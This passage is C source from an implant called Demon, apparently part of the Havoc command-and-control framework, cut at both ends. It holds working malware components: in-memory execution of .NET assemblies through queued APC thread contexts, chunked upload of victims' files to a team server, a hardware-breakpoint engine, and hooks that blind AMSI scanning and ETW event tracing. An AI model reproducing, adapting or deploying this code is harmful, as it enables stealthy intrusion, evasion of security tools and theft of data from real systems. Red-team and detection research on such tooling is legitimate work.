Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); MemCopy( Instance->Dotnet->RopEvnt, Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); MemCopy( Instance->Dotnet->RopExit, Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); // This rop executes the entrypoint of the assembly Instance->Dotnet->RopInvk->ContextFlags = CONTEXT_FULL; Instance->Dotnet->RopInvk->Rsp -= U_PTR( 0x1000 * 6 ); Instance->Dotnet->RopInvk->Rip = U_PTR( Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3 ); Instance->Dotnet->RopInvk->Rcx = U_PTR( Instance->Dotnet->MethodInfo ); Instance->Dotnet->RopInvk->Rdx = U_PTR( &Object ); Instance->Dotnet->RopInvk->R8 = U_PTR( Instance->Dotnet->MethodArgs ); Instance->Dotnet->RopInvk->R9 = U_PTR( &Instance->Dotnet->Return ); *( PVOID* )( Instance->Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); // This rop tells the main thread (our agent main thread) that the assembly executable finished executing Instance->Dotnet->RopEvnt->ContextFlags = CONTEXT_FULL; Instance->Dotnet->RopEvnt->Rsp -= U_PTR( 0x1000 * 5 ); Instance->Dotnet->RopEvnt->Rip = U_PTR( Instance->Win32.NtSetEvent ); Instance->Dotnet->RopEvnt->Rcx = U_PTR( Instance->Dotnet->Event ); Instance->Dotnet->RopEvnt->Rdx = U_PTR( NULL ); *( PVOID* )( Instance->Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); // Wait til we freed everything from the dotnet Instance->Dotnet->RopExit->ContextFlags = CONTEXT_FULL; Instance->Dotnet->RopExit->Rsp -= U_PTR( 0x1000 * 4 ); Instance->Dotnet->RopExit->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject ); Instance->Dotnet->RopExit->Rcx = U_PTR( Instance->Dotnet->Exit ); Instance->Dotnet->RopExit->Rdx = U_PTR( FALSE ); Instance->Dotnet->RopExit->R8 = U_PTR( NULL ); *( PVOID* )( Instance->Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave; PUTS( "Resume Thread..." ) if ( NT_SUCCESS( Instance->Win32.NtAlertResumeThread( Instance->Dotnet->Thread, NULL ) ) ) { PUTS( "Apc started and assembly invoked." ) PackageInfo = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE ); PackageAddInt32( PackageInfo, DOTNET_INFO_ENTRYPOINT_EXECUTED ); PackageAddInt32( PackageInfo, ClientId.UniqueThread ); PackageTransmit( PackageInfo ); // we have successfully invoked the main function of the assembly executable. Instance->Dotnet->Invoked = TRUE; } else PUTS( "NtAlertResumeThread failed" ) } else PUTS( "NtGetThreadContext failed" ) } else PUTS( "NtCreateThreadEx failed" ) } else PUTS( "NtCreateEvent failed" ) */ return TRUE; } /* push anything from the pipe */ VOID DotnetPushPipe() { DWORD Read = 0; DWORD BytesRead = 0; if ( ! Instance->Dotnet ) return; /* see how much there is in the named pipe */ if ( Instance->Win32.PeekNamedPipe( Instance->Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) ) { PRINTF( "Read: %d\n", Read ); if ( Read > 0 ) { Instance->Dotnet->Output.Length = Read; Instance->Dotnet->Output.Buffer = MmHeapAlloc( Instance->Dotnet->Output.Length ); Instance->Win32.ReadFile( Instance->Dotnet->Pipe, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length, &BytesRead, NULL ); Instance->Dotnet->Output.Length = BytesRead; PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance->Dotnet->RequestID ); PackageAddBytes( Package, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length ); PackageTransmit( Package ); if ( Instance->Dotnet->Output.Buffer ) { MemSet( Instance->Dotnet->Output.Buffer, 0, Read ); MmHeapFree( Instance->Dotnet->Output.Buffer ); Instance->Dotnet->Output.Buffer = NULL; } } } } VOID DotnetPush() { if ( ! Instance->Dotnet ) return; PRINTF( "Instance->Dotnet->Invoked: %s\n", Instance->Dotnet->Invoked ? "TRUE" : "FALSE" ) if ( Instance->Dotnet->Invoked ) { /* Read from the assembly named pipe and send it to the server */ DotnetPushPipe(); /* check if the assembly is still running. */ /* if ( Instance->Win32.WaitForSingleObjectEx( Instance->Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 ) { PUTS( "Event has been signaled" ) Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE ); PackageAddInt32( Package, DOTNET_INFO_FINISHED ); PackageTransmit( Package ); PUTS( "Dotnet Invoke thread isn't active anymore." ) Close = TRUE; } */ /* just in case the assembly pushed something last minute... */ DotnetPushPipe(); /* Now free everything */ DotnetClose(); } } VOID DotnetClose() { #ifndef DEBUG Instance->Win32.FreeConsole(); #endif if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) { HwBpEngineDestroy( NULL ); } if ( Instance->Dotnet->Event ) { SysNtClose( Instance->Dotnet->Event ); } if ( Instance->Dotnet->Pipe ) { SysNtClose( Instance->Dotnet->Pipe ); } if ( Instance->Dotnet->File ) { SysNtClose( Instance->Dotnet->File ); } if ( Instance->Dotnet->RopInit ) { MemSet( Instance->Dotnet->RopInit, 0, sizeof( CONTEXT ) ); Instance->Win32.LocalFree( Instance->Dotnet->RopInit ); Instance->Dotnet->RopInit = NULL; } if ( Instance->Dotnet->RopInvk ) { MemSet( Instance->Dotnet->RopInvk, 0, sizeof( CONTEXT ) ); Instance->Win32.LocalFree( Instance->Dotnet->RopInvk ); Instance->Dotnet->RopInvk = NULL; } if ( Instance->Dotnet->RopEvnt ) { MemSet( Instance->Dotnet->RopEvnt, 0, sizeof( CONTEXT ) ); Instance->Win32.LocalFree( Instance->Dotnet->RopEvnt ); Instance->Dotnet->RopEvnt = NULL; } if ( Instance->Dotnet->RopExit ) { MemSet( Instance->Dotnet->RopExit, 0, sizeof( CONTEXT ) ); Instance->Win32.LocalFree( Instance->Dotnet->RopExit ); Instance->Dotnet->RopExit = NULL; } PUTS( "Free Output" ) if ( Instance->Dotnet->Output.Buffer ) { MemSet( Instance->Dotnet->Output.Buffer, 0, Instance->Dotnet->Output.Length ); Instance->Win32.LocalFree( Instance->Dotnet->Output.Buffer ); Instance->Dotnet->Output.Buffer = NULL; } PUTS( "Unload and free CLR" ) if ( Instance->Dotnet->MethodArgs ) { Instance->Win32.SafeArrayDestroy( Instance->Dotnet->MethodArgs ); Instance->Dotnet->MethodArgs = NULL; } if ( Instance->Dotnet->MethodInfo != NULL ) { Instance->Dotnet->MethodInfo->lpVtbl->Release( Instance->Dotnet->MethodInfo ); Instance->Dotnet->MethodInfo = NULL; } if ( Instance->Dotnet->Assembly != NULL ) { Instance->Dotnet->Assembly->lpVtbl->Release( Instance->Dotnet->Assembly ); Instance->Dotnet->Assembly = NULL; } if ( Instance->Dotnet->AppDomain ) { Instance->Dotnet->AppDomain->lpVtbl->Release( Instance->Dotnet->AppDomain ); Instance->Dotnet->AppDomain = NULL; } if ( Instance->Dotnet->AppDomainThunk != NULL ) { Instance->Dotnet->AppDomainThunk->lpVtbl->Release( Instance->Dotnet->AppDomainThunk ); } if ( Instance->Dotnet->ICorRuntimeHost ) { Instance->Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainThunk ); Instance->Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance->Dotnet->ICorRuntimeHost ); Instance->Dotnet->ICorRuntimeHost = NULL; } if ( Instance->Dotnet->ClrRuntimeInfo != NULL ) { Instance->Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance->Dotnet->ClrRuntimeInfo ); Instance->Dotnet->ClrRuntimeInfo = NULL; } if ( Instance->Dotnet->MetaHost != NULL ) { Instance->Dotnet->MetaHost->lpVtbl->Release( Instance->Dotnet->MetaHost ); Instance->Dotnet->MetaHost = NULL; } if ( Instance->Dotnet->Thread ) { SysNtTerminateThread( Instance->Dotnet->Thread, 0 ); SysNtClose( Instance->Dotnet->Thread ); } if ( Instance->Dotnet->Exit ) { SysNtClose( Instance->Dotnet->Exit ); } if ( Instance->Dotnet ) { MemSet( Instance->Dotnet, 0, sizeof( DOTNET_ARGS ) ); MmHeapFree( Instance->Dotnet ); Instance->Dotnet = NULL; } } BOOL FindVersion( PVOID Assembly, DWORD length ) { char* assembly_c; assembly_c = (char*)Assembly; char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 }; for (int i = 0; i < length; i++) { for (int j = 0; j < 10; j++) { if (v4[j] != assembly_c[i + j]) break; else { if (j == (9)) return 1; } } } return 0; } DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost *ppClrMetaHost, PICLRRuntimeInfo *ppClrRuntimeInfo, ICorRuntimeHost **ppICorRuntimeHost ) { BOOL fLoadable = FALSE; if ( RtMscoree() ) { if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK ) { if ( ( *ppClrMetaHost )->lpVtbl->GetRuntime( *ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo ) == S_OK ) { if ( ( ( *ppClrRuntimeInfo )->lpVtbl->IsLoadable( *ppClrRuntimeInfo, &fLoadable ) == S_OK ) && fLoadable ) { //Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works if ( ( *ppClrRuntimeInfo )->lpVtbl->GetInterface( *ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost ) == S_OK ) { //Start it. This is okay to call even if the CLR is already running ( *ppICorRuntimeHost )->lpVtbl->Start( *ppICorRuntimeHost ); } else { PRINTF("[-] ( GetInterface ) Process refusing to get interface of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion); return 0; } } else { PRINTF("[-] ( IsLoadable ) Process refusing to load %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion); return 0; } } else { PRINTF("[-] ( GetRuntime ) Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion); return 0; } } else { PRINTF("[-] ( CLRCreateInstance ) Process refusing to create %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion); return 0; } } else { PUTS("Failed to load mscoree.dll") return 0; } return 1; } ================================================ FILE: payloads/Demon/src/core/Download.c ================================================ #include #include /* Add file to linked list with type (upload/download) */ PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize ) { PDOWNLOAD_DATA Download = NULL; Download = MmHeapAlloc( sizeof( DOWNLOAD_DATA ) ); Download->FileID = RandomNumber32(); Download->hFile = hFile; Download->Size = MaxSize; Download->State = DOWNLOAD_STATE_RUNNING; Download->Next = Instance->Downloads; Download->RequestID = Instance->CurrentRequestID; /* Push to linked list */ Instance->Downloads = Download; PRINTF( "Instance->Downloads => %p\n", Instance->Downloads ) return Download; } /* Get download data from linked list */ PDOWNLOAD_DATA DownloadGet( DWORD FileID ) { PDOWNLOAD_DATA Download = NULL; for ( Download = Instance->Downloads; Download == NULL; Download = Download->Next ) { if ( Download->FileID == FileID ) break; } return Download; } /* Free's download and returns next download from specified download object. */ VOID DownloadFree( PDOWNLOAD_DATA Download ) { /* close file handle. */ if ( Download->hFile ) { SysNtClose( Download->hFile ); } PUTS( "Free download object" ) /* Now free the struct */ MemSet( Download, 0, sizeof( DOWNLOAD_DATA ) ); MmHeapFree( Download ); Download = NULL; } BOOL DownloadRemove( DWORD FileID ) { PDOWNLOAD_DATA Download = NULL; PDOWNLOAD_DATA Last = NULL; BOOL Success = FALSE; Download = Instance->Downloads; Last = Instance->Downloads; for ( ;; ) { if ( ! Download ) { break; } if ( Download->FileID == FileID ) { PRINTF( "Found Download (%x)\n", FileID ) /* Remove download from the list. */ Last->Next = Download->Next; DownloadFree( Download ); /* return that we succeeded. */ Success = TRUE; break; } Last = Download; Download = Download->Next; } return Success; } /* send file chunks to team server */ VOID DownloadPush() { PDOWNLOAD_DATA Download = NULL; PDOWNLOAD_DATA DownLast = NULL; PPACKAGE Package = NULL; Download = Instance->Downloads; /* do we actually have downloads pending? */ if ( ! Download ) { /* we don't have any downloads, free the DownloadChunk if we have one */ if ( Instance->DownloadChunk.Buffer ) { MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); MmHeapFree( Instance->DownloadChunk.Buffer ); Instance->DownloadChunk.Buffer = NULL; } return; } /* process current running downloads () */ for ( ;; ) { if ( ! Download ) break; /* seems like we have some current downloads * allocate a chunk of memory to use for the chunks. */ if ( ! Instance->DownloadChunk.Buffer ) { Instance->DownloadChunk.Buffer = MmHeapAlloc( Instance->Config.Implant.DownloadChunkSize ); Instance->DownloadChunk.Length = Instance->Config.Implant.DownloadChunkSize; PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length ) } PRINTF( "Download: %p\n", Download ) if ( Download->State == DOWNLOAD_STATE_RUNNING ) { DWORD Read = 0; PRINTF( "Download (%x) is in state DOWNLOAD_STATE_RUNNING\n", Download->FileID ) /* Reset memory. */ MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); if ( ! Instance->Win32.ReadFile( Download->hFile, Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length, &Read, NULL ) ) PRINTF( "ReadFile Failed: Error[%d]\n", NtGetLastError() ); Download->Size -= Read; Download->ReadSize += Read; /* Send chunk we read */ if ( Read > 0 ) { PUTS( "Send download chunk" ) Package = PackageCreateWithRequestID( DEMON_COMMAND_FS, Download->RequestID ); /* Add Download header. */ PackageAddInt32( Package, 2 ); /* Download sub command */ PackageAddInt32( Package, DOWNLOAD_MODE_WRITE ); PackageAddInt32( Package, Download->FileID ); /* Download Write data (and only send what we read.) */ PackageAddBytes( Package, Instance->DownloadChunk.Buffer, Read ); /* Send that chunk */ PUTS( "transmit download chunk" ) PackageTransmit( Package ); } /* if this was the last chunk we read send a finish download close request */ if ( ( Read > 0 ) && ( ! Download->Size ) ) { Package = PackageCreateWithRequestID( DEMON_COMMAND_FS, Download->RequestID ); /* Add Download header. */ PackageAddInt32( Package, 2 ); /* Download sub command */ PackageAddInt32( Package, DOWNLOAD_MODE_CLOSE ); PackageAddInt32( Package, Download->FileID ); /* Download Close data */ PackageAddInt32( Package, DOWNLOAD_REASON_FINISHED ); /* Send that chunk */ PackageTransmit( Package ); } /* if either what we read or the download size is 0 we are finished. */ if ( ( ! Read ) || ( ! Download->Size ) ) { PRINTF( "Read:[%d] Download->Size:[%d]. Set Download (%x) State to DOWNLOAD_STATE_REMOVE\n", Read, Download->Size, Download->FileID ) /* Seems there is nothing else to read from the file. * remove it at the end of the download routine. */ Download->State = DOWNLOAD_STATE_REMOVE; } } PRINTF( "Download[%p] = Download->Next[%p]\n", Download, Download->Next ) Download = Download->Next; } Download = Instance->Downloads; DownLast = NULL; /* why do we do that again ? * seems like I can't remove the download item from a linked list while iterating over it. was easier to do this. */ for ( ;; ) { if ( ! Download ) break; if ( Download->State == DOWNLOAD_STATE_REMOVE ) { /* we are at the beginning. */ if ( ! DownLast ) { Instance->Downloads = Download->Next; DownloadFree( Download ); Download = NULL; } else { DownLast->Next = Download->Next; DownloadFree( Download ); DownLast = NULL; } } else { DownLast = Download; Download = Download->Next; } } /* Reset memory. */ if ( Instance->DownloadChunk.Buffer ) MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); } BOOL MemFileIsNew( ULONG32 ID ) { PMEM_FILE MemFile = Instance->MemFiles; while ( MemFile ) { if ( MemFile->ID == ID ) return FALSE; MemFile = MemFile->Next; } return TRUE; } /* Add MemFile to linked list */ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) { PMEM_FILE MemFile = NULL; MemFile = MmHeapAlloc( sizeof( MEM_FILE ) ); MemFile->ID = ID; MemFile->Size = Size; MemFile->Data = MmHeapAlloc( MemFile->Size ); MemFile->ReadSize = 0; MemFile->Next = Instance->MemFiles; if ( ! MemFile->Data ) { PRINTF( "Failed to allocate %lx bytes\n", MemFile->Size ); return NULL; } MemCopy( MemFile->Data, Data, ReadSize ); MemFile->ReadSize += ReadSize; MemFile->IsCompleted = MemFile->Size == MemFile->ReadSize; PRINTF( "Copying %x bytes, bytes missing: 0x%x\n", ReadSize, MemFile->Size - MemFile->ReadSize ) /* Push to linked list */ Instance->MemFiles = MemFile; PRINTF( "Added a MemFile [%x]\n", MemFile->ID ) return MemFile; } PMEM_FILE GetMemFile( ULONG32 ID ) { PMEM_FILE MemFile = Instance->MemFiles; while ( MemFile ) { if ( MemFile->ID == ID ) return MemFile; MemFile = MemFile->Next; } return NULL; } PMEM_FILE ProcessMemFileChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) { PMEM_FILE MemFile = NULL; if ( MemFileIsNew( ID ) ) { MemFile = NewMemFile( ID, Size, Data, ReadSize ); } else { MemFile = MemFileReadChunk( ID, Size, Data, ReadSize ); } return MemFile; } PMEM_FILE MemFileReadChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) { PMEM_FILE MemFile = NULL; MemFile = GetMemFile( ID ); if ( ! MemFile ) { PRINTF( "MemFile with the id %x was not found\n", ID ); return NULL; } PRINTF( "Copying %x bytes, bytes missing: 0x%x\n", ReadSize, MemFile->Size - MemFile->ReadSize ) MemCopy( C_PTR( U_PTR( MemFile->Data ) + MemFile->ReadSize ), Data, ReadSize ); MemFile->ReadSize += ReadSize; MemFile->IsCompleted = MemFile->Size == MemFile->ReadSize; return MemFile; } VOID MemFileFree( PMEM_FILE MemFile ) { if ( MemFile->Data && MemFile->Size ) MemSet( MemFile->Data, 0, MemFile->Size ); if ( MemFile->Data ) MmHeapFree( MemFile->Data ); MemFile->Data = NULL; MemFile->Size = 0; MemSet( MemFile, 0, sizeof( MEM_FILE ) ); MmHeapFree( MemFile ); MemFile = NULL; } BOOL RemoveMemFile( ULONG32 ID ) { PMEM_FILE MemFile = NULL; PMEM_FILE Last = NULL; BOOL Success = FALSE; if ( Instance->MemFiles && Instance->MemFiles->Next == NULL ) { if ( Instance->MemFiles->ID == ID ) { MemFileFree( Instance->MemFiles ); Instance->MemFiles = NULL; Success = TRUE; } PRINTF( "Removed MemFile [%x] : %d\n", ID, Success ) return Success; } MemFile = Instance->MemFiles; Last = Instance->MemFiles; for ( ;; ) { if ( ! MemFile ) break; if ( MemFile->ID == ID ) { /* Remove it from the list. */ Last->Next = MemFile->Next; MemFileFree( MemFile ); /* return that we succeeded. */ Success = TRUE; break; } Last = MemFile; MemFile = MemFile->Next; } PRINTF( "Removed MemFile [%x] : %d\n", ID, Success ) return Success; } ================================================ FILE: payloads/Demon/src/core/HwBpEngine.c ================================================ #include #include #include #include #include LONG ExceptionHandler( _Inout_ PEXCEPTION_POINTERS Exception ); /*! * Init Hardware breakpoint engine by * registering a Vectored exception handler * @param Engine if empty global handler gonna be used * @param Handler * @return */ NTSTATUS HwBpEngineInit( OUT PHWBP_ENGINE Engine, IN PVOID Handler ) { PHWBP_ENGINE HwBpEngine = Engine; PVOID HwBpHandler = Handler; /* check if an engine object has been specified in the function param. * if not then check if the callee wants to init the global engine. * tho if the global engine has been already init then abort */ if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } if ( Instance->HwBpEngine ) { } /* since we did not specify an engine let's use the global one */ if ( ! HwBpEngine ) { HwBpEngine = Instance->HwBpEngine = MmHeapAlloc( sizeof( HWBP_ENGINE ) ); HwBpHandler = &ExceptionHandler; } /* register Vectored exception handler */ if ( ! ( HwBpEngine->Veh = Instance->Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) { return STATUS_UNSUCCESSFUL; } /* tell the engine that it has not added anything atm */ HwBpEngine->First = TRUE; return STATUS_SUCCESS; } /*! * Set hardware breakpoint on specified address * @param Tib * @param Address * @param Position * @param Add * @return */ NTSTATUS HwBpEngineSetBp( IN DWORD Tid, IN PVOID Address, IN BYTE Position, IN BYTE Add ) { DWORD Pid = Instance->Session.PID; CLIENT_ID Client = { 0 }; CONTEXT Context = { 0 }; HANDLE Thread = NULL; NTSTATUS Status = STATUS_SUCCESS; OBJECT_ATTRIBUTES ObjAttr = { 0 }; /* Initialize Object Attributes */ InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL ); Client.UniqueProcess = C_PTR( Pid ); Client.UniqueThread = C_PTR( Tid ); /* try to get open thread handle */ if ( ! NT_SUCCESS( SysNtOpenThread( &Thread, THREAD_ALL_ACCESS, &ObjAttr, &Client ) ) ) goto FAILED; Context.ContextFlags = CONTEXT_DEBUG_REGISTERS; /* try to get context of thread */ if ( ! NT_SUCCESS( Status = SysNtGetContextThread( Thread, &Context ) ) ) { goto FAILED; } /* add hardware breakpoint */ if ( Add ) { /* set address */ ( &Context.Dr0 )[ Position ] = U_PTR( Address ); /* setup registers */ Context.Dr7 &= ~( 3ull << ( 16 + 4 * Position ) ); Context.Dr7 &= ~( 3ull << ( 18 + 4 * Position ) ); Context.Dr7 |= 1ull << ( 2 * Position ); } else /* remove hardware breakpoint */ { if ( ( &Context.Dr0 )[ Position ] == Address ) { PRINTF( "Dr Registers: \n" "- Dr0[%d]: %p \n" "- Dr7 : %p \n", Position, ( &Context.Dr0 )[ Position ], Context.Dr7 ) ( &Context.Dr0 )[ Position ] = U_PTR( NULL ); Context.Dr7 &= ~( 1ull << ( 2 * Position ) ); PRINTF( "Dr Registers: \n" "- Dr0[%d]: %p \n" "- Dr7 : %p \n", Position, ( &Context.Dr0 )[ Position ], Context.Dr7 ) } } /* try to get context of thread */ if ( ! NT_SUCCESS( Status = SysNtSetContextThread( Thread, &Context ) ) ) { goto FAILED; } return Status; FAILED: if ( Thread ) { SysNtClose( Thread ); Thread = NULL; } return Status; } /*! * Set an hardware breakpoint to an address * and adds it to the engine breakpoints list linked * @param Engine * @param Thread * @param Address * @param Function * @param Position * @return */ NTSTATUS HwBpEngineAdd( IN PHWBP_ENGINE Engine, IN DWORD Tid, IN PVOID Address, IN PVOID Function, IN BYTE Position ) { PHWBP_ENGINE HwBpEngine = Engine; PBP_LIST BpEntry = NULL; PRINTF( "Engine:[%p] Tid:[%d] Address:[%p] Function:[%p] Position:[%d]\n", Engine, Tid, Address, Function, Position ) /* check if engine has been specified */ if ( ! HwBpEngine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } /* check if the right params has been specified */ if ( ! Address || ! Function ) { return STATUS_INVALID_PARAMETER; } /* if no engine specified use the global one */ if ( ! HwBpEngine ) { HwBpEngine = Instance->HwBpEngine; } /* create bp entry */ BpEntry = MmHeapAlloc( sizeof( BP_LIST ) ); BpEntry->Tid = Tid; BpEntry->Address = Address; BpEntry->Function = Function; BpEntry->Position = Position; BpEntry->Next = HwBpEngine->Breakpoints; /* set breakpoint */ if ( ! NT_SUCCESS( HwBpEngineSetBp( Tid, Address, Position, TRUE ) ) ) { PUTS( "[HWBP] Failed to set hardware breakpoint" ); goto FAILED; } else { PRINTF( "[HWBP] Added hardware breakpoint: Tid:[%d] Addr:[%p] Pos:[%d]\n", Tid, Address, Position ) } /* append breakpoint */ HwBpEngine->Breakpoints = BpEntry; return STATUS_SUCCESS; FAILED: if ( BpEntry ) { MmHeapFree( BpEntry ); BpEntry = NULL; } return STATUS_UNSUCCESSFUL; } NTSTATUS HwBpEngineRemove( IN PHWBP_ENGINE Engine, IN DWORD Tid, IN PVOID Address ) { PHWBP_ENGINE HwBpEngine = NULL; PBP_LIST BpEntry = NULL; PBP_LIST BpLast = NULL; if ( ! Engine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } if ( ! HwBpEngine ) { HwBpEngine = Instance->HwBpEngine; } /* set linked list */ BpEntry = BpLast = HwBpEngine->Breakpoints; for ( ;; ) { /* check if BpEntry is NULL */ if ( ! BpEntry ) { break; } /* is it the breakpoint we want to remove ? */ if ( BpEntry->Tid == Tid && BpEntry->Address == Address ) { /* unlink from linked list */ BpLast->Next = BpEntry->Next; /* disable hardware breakpoint */ HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE ); /* zero out struct */ MemZero( BpEntry, sizeof( BP_LIST ) ); /* free memory struct */ MmHeapFree( BpEntry ); break; } BpLast = BpEntry; BpEntry = BpEntry->Next; } return STATUS_SUCCESS; } NTSTATUS HwBpEngineDestroy( IN PHWBP_ENGINE Engine ) { PHWBP_ENGINE HwBpEngine = Engine; PBP_LIST BpEntry = NULL; PBP_LIST BpNext = NULL; if ( ! Engine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } if ( ! HwBpEngine ) { HwBpEngine = Instance->HwBpEngine; } /* remove Vector exception handler */ Instance->Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh ); BpEntry = HwBpEngine->Breakpoints; /* remove all breakpoints and free memory */ do { /* check if BpEntry is NULL */ if ( ! BpEntry ) { break; } /* get next element from linked list */ BpNext = BpEntry->Next; /* disable hardware breakpoinnt */ HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE ); /* zero out struct */ MemZero( BpEntry, sizeof( BP_LIST ) ); /* free memory struct */ MmHeapFree( BpEntry ); BpEntry = BpNext; } while ( TRUE ); /* free global state */ if ( HwBpEngine == Instance->HwBpEngine ) { MmHeapFree( HwBpEngine ); Instance->HwBpEngine = NULL; } HwBpEngine = NULL; return STATUS_SUCCESS; } /*! * Global exception handler * @param Exception * @return */ LONG ExceptionHandler( _Inout_ PEXCEPTION_POINTERS Exception ) { PBP_LIST BpEntry = NULL; BOOL Found = FALSE; if ( Exception->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP ) { PRINTF( "Exception Address: %p\n", Exception->ExceptionRecord->ExceptionAddress ) BpEntry = Instance->HwBpEngine->Breakpoints; /* search in linked list for bp entry */ while ( BpEntry ) { /* check if it's the address we want */ if ( BpEntry->Address == Exception->ExceptionRecord->ExceptionAddress ) { Found = TRUE; /* remove breakpoint so that the handler can call the original function */ HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE ); /* execute registered exception handler */ ( ( VOID (*)( PEXCEPTION_POINTERS ) ) BpEntry->Function ) ( Exception ); /* restore breakpoint */ HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, TRUE ); break; } /* Next entry */ BpEntry = BpEntry->Next; } PRINTF( "Found exception handler: %s\n", Found ? "TRUE" : "FALSE" ) if ( Found ) { return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } ================================================ FILE: payloads/Demon/src/core/HwBpExceptions.c ================================================ #include #include #if _WIN64 VOID HwBpExAmsiScanBuffer( _Inout_ PEXCEPTION_POINTERS Exception ) { PVOID Return = NULL; /* get AmsiResult param */ EXCEPTION_ARG_5( Exception ) = 0; /* set return to S_OK */ EXCEPTION_SET_RET( Exception, 0x80070057 ); /* invalid parameter */ /* just return now */ Return = EXCEPTION_GET_RET( Exception ); EXCEPTION_ADJ_STACK( Exception, sizeof( PVOID ) ); EXCEPTION_SET_RIP( Exception, U_PTR( Return ) ); } VOID HwBpExNtTraceEvent( _Inout_ PEXCEPTION_POINTERS Exception ) { PVOID Return = NULL; /* just return without tracing an event */ Return = EXCEPTION_GET_RET( Exception ); EXCEPTION_ADJ_STACK( Exception, sizeof( PVOID ) ); EXCEPTION_SET_RIP( Exception, U_PTR( Return ) ); } #endif ================================================ FILE: payloads/Demon/src/core/Jobs.c ================================================ #include #include #include #include #include /*! * JobAdd * Adds a job to the job linked list * @param JobID * @param Type type of job: thread or process * @param State current state of the job: suspended or running * @param Data Data pointer to extra data * @return */ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Handle, PVOID Data ) { PRINTF( "Add job => JobID:[%d] Type:[%d] State:[%d] Handle:[%d] Data:[%p]\n", JobID, Type, State, Handle, Data ) PJOB_DATA JobList = NULL; PJOB_DATA Job = NULL; Job = Instance->Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) ); // fill the Job info and insert it into our linked list Job->RequestID = RequestID; Job->JobID = JobID; Job->Type = Type; Job->State = State; Job->Handle = Handle; Job->Data = Data; Job->Next = NULL; if ( Instance->Jobs == NULL ) { Instance->Jobs = Job; return; } JobList = Instance->Jobs; do { if ( JobList ) { if ( JobList->Next != NULL ) JobList = JobList->Next; else { JobList->Next = Job; break; } } else break; } while ( TRUE ); } /*! * Check if all jobs are still running and exists * @return */ VOID JobCheckList() { PJOB_DATA JobList = NULL; JobList = 